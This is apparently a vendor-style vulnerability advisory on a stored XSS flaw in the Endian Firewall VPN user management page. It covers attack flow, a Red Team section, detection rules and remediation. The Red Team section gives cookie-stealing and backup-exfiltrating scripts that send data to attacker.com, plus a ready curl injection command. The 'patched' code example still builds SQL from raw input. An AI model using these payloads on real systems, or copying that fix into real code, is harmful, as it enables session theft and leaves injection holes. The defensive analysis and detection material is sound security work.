CVE-2026-34821

Executive Summary

CVE-2026-34821 is a stored cross-site scripting (XSS) vulnerability in Endian Firewall version 3.3.25 and prior. An authenticated attacker can inject arbitrary JavaScript via the remark parameter in the /manage/vpnauthentication/user/ endpoint. The injected script is stored on the server and executed when other authenticated users view the affected page, leading to session hijacking, credential theft, or further lateral movement within the firewall management interface.

This vulnerability is particularly dangerous because it targets the administrative interface of a network security appliance, potentially allowing an attacker to compromise the entire firewall configuration. The attack requires authentication, but once inside, the stored XSS can be used to target other administrators or escalate privileges.

Supply Chain & Package Security

This vulnerability is not related to an open-source package manager (NPM, PyPI, Go, Ruby). It is a proprietary web application vulnerability in the Endian Firewall product.

CVSS Breakdown & Threat Level

CVSS Score: 0.0 (NVD) | Calculated: 5.4 (Medium)

Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

• Attack Vector (AV): Network – The vulnerability can be exploited remotely over the network.
• Attack Complexity (AC): Low – No special conditions are required for exploitation.
• Privileges Required (PR): Low – The attacker must have valid credentials to the firewall management interface.
• User Interaction (UI): Required – The victim must view the affected page containing the malicious remark.
• Scope (S): Changed – The vulnerability impacts resources beyond the original security scope (e.g., the victim's browser session).
• Confidentiality (C): Low – Limited information disclosure (e.g., session tokens).
• Integrity (I): Low – Limited ability to modify data (e.g., perform actions as the victim).
• Availability (A): None – No impact on system availability.

Threat Level: Medium. While the CVSS score is moderate, the potential for lateral movement and full compromise of the firewall management interface elevates the risk for organizations using Endian Firewall.

Deep Dive & Mechanics

The vulnerability resides in the /manage/vpnauthentication/user/ endpoint of the Endian Firewall web interface. This endpoint is used to manage VPN authentication users. The remark parameter, intended for administrative notes, is not properly sanitized before being stored in the backend database and later rendered in the web interface.

Attack Flow:

1. Authentication: The attacker logs into the Endian Firewall management interface with valid credentials (e.g., a low-privileged admin account).
2. Injection: The attacker navigates to /manage/vpnauthentication/user/ and submits a POST request with a malicious payload in the remark parameter. For example:

   remark=<script>alert('XSS')</script>
   

3. Storage: The server stores the unsanitized input in its database (likely SQLite or a similar embedded database).
4. Trigger: When another authenticated user (e.g., a super-admin) views the user list or the specific user's details, the stored script is executed in their browser.
5. Impact: The attacker can steal session cookies, perform actions on behalf of the victim, or inject further malicious content.

Root Cause: Lack of input validation and output encoding. The application does not sanitize the remark parameter before storage, and it does not encode the output when rendering the stored data in HTML.

Vulnerable vs. Patched Code

Since no official patch is available, the following is a conceptual comparison.

Vulnerable Code (PHP/Python/Perl - typical for embedded firewalls):

// Vulnerable: Directly stores user input without sanitization
$remark = $_POST['remark'];
$db->query("INSERT INTO vpn_users (remark) VALUES ('$remark')");

Patched Code (Conceptual):

// Patched: Sanitize input and encode output
$remark = htmlspecialchars($_POST['remark'], ENT_QUOTES, 'UTF-8');
$db->query("INSERT INTO vpn_users (remark) VALUES ('$remark')");

Key Differences:

• Input Sanitization: The patched version uses htmlspecialchars() to convert special characters to HTML entities, preventing script execution.
• Output Encoding: Even if stored safely, the output should be encoded using htmlspecialchars() or a templating engine's auto-escaping feature.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Access to an Endian Firewall instance (version 3.3.25 or prior).
• Valid credentials for the management interface (e.g., admin:admin).

Exploit Steps:

1. Login: Authenticate to the Endian Firewall web interface.
2. Craft Payload: Create a malicious JavaScript payload. For example, to steal session cookies:

   <script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>
   

3. Inject: Send a POST request to /manage/vpnauthentication/user/ with the payload in the remark parameter.

   curl -X POST https://target/manage/vpnauthentication/user/ \
     -c cookies.txt -b cookies.txt \
     -d "username=testuser&password=testpass&remark=<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>"
   

4. Wait for Trigger: The payload will execute when another admin views the user list.

Advanced Payload (Session Hijacking):

<script>
var xhr = new XMLHttpRequest();
xhr.open('GET', '/manage/system/backup/', true);
xhr.onload = function() {
    var backupData = xhr.responseText;
    new Image().src = 'http://attacker.com/exfil?data=' + encodeURIComponent(backupData);
};
xhr.send();
</script>

Blue Team (Defensive)

Detection:

• Monitor for unusual POST requests to /manage/vpnauthentication/user/ containing HTML tags or JavaScript.
• Look for outbound connections from the firewall to unknown IP addresses (potential data exfiltration).
• Review logs for remark parameter values containing <script> or onerror attributes.

Mitigation:

• Immediately restrict access to the management interface to trusted IP addresses only.
• Implement a Web Application Firewall (WAF) rule to block XSS payloads in the remark parameter.
• If possible, manually sanitize the remark field in the database (e.g., using htmlspecialchars in PHP).

Indicators of Compromise (IOCs)

Network IOCs:

• POST requests to /manage/vpnauthentication/user/ with remark containing <script> tags.
• Outbound HTTP/HTTPS connections to attacker-controlled domains from the firewall.
• Unusual Referer headers pointing to /manage/vpnauthentication/user/.

Host IOCs:

• Database entries in the vpn_users table with remark fields containing JavaScript.
• Web server logs showing 200 responses to /manage/vpnauthentication/user/ with suspicious POST data.
• Presence of unexpected JavaScript files or scripts in the web root.

File IOCs:

• Modified configuration files in /etc/endian/firewall/ (if the attacker escalates).
• Suspicious entries in /var/log/httpd/access_log or similar.

Detection Engineering

YARA Rule

rule CVE_2026_34821_Endian_XSS {
    meta:
        description = "Detects stored XSS payloads in Endian Firewall remark parameter"
        author = "Valters IT"
        date = "2026-01-01"
        cve = "CVE-2026-34821"
    strings:
        $xss1 = /remark=.*<script/i
        $xss2 = /remark=.*onerror/i
        $xss3 = /remark=.*onload/i
        $xss4 = /remark=.*javascript:/i
    condition:
        any of them
}

Sigma Rule

title: Stored XSS in Endian Firewall Remark Parameter
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit CVE-2026-34821 by injecting XSS payloads into the remark parameter
author: Valters IT
date: 2026-01-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query: '/manage/vpnauthentication/user/'
        cs-uri-query|contains: 'remark='
    keywords:
        - '<script'
        - 'onerror='
        - 'onload='
        - 'javascript:'
    condition: selection and keywords
falsepositives:
    - Legitimate use of HTML in remarks (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2026-34821 - Stored XSS in Endian Firewall Remark Parameter";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/manage/vpnauthentication/user/";
    http_uri;
    content:"remark=";
    http_client_body;
    pcre:"/(<script|onerror|onload|javascript:)/i";
    sid:1000001;
    rev:1;
    reference:cve,2026-34821;
    classtype:web-application-attack;
    priority:2;
)

Remediation & Mitigation

Immediate Actions:

1. Restrict Access: Limit access to the management interface to trusted IP addresses using firewall rules.
2. Manual Sanitization: If you have database access, sanitize existing remark fields using a script:

   UPDATE vpn_users SET remark = REPLACE(remark, '<', '&lt;');
   

3. WAF Rules: Deploy a Web Application Firewall (e.g., ModSecurity) with rules to block XSS payloads in POST parameters.

Long-Term Fix:

• Vendor Patch: Contact Endian support for an official patch. If none is available, consider upgrading to a newer version or migrating to an alternative solution.
• Code Fix: If you have access to the source code, implement input validation and output encoding as described in the "Vulnerable vs. Patched Code" section.
• Security Hardening: Implement Content Security Policy (CSP) headers to mitigate XSS impact:

  Content-Security-Policy: default-src 'self'; script-src 'self'
  

Workaround:

• Disable the VPN authentication user management feature if not in use.
• Use a reverse proxy (e.g., Nginx) to add an additional layer of input validation.

Valters IT
Securing Your Digital Frontier

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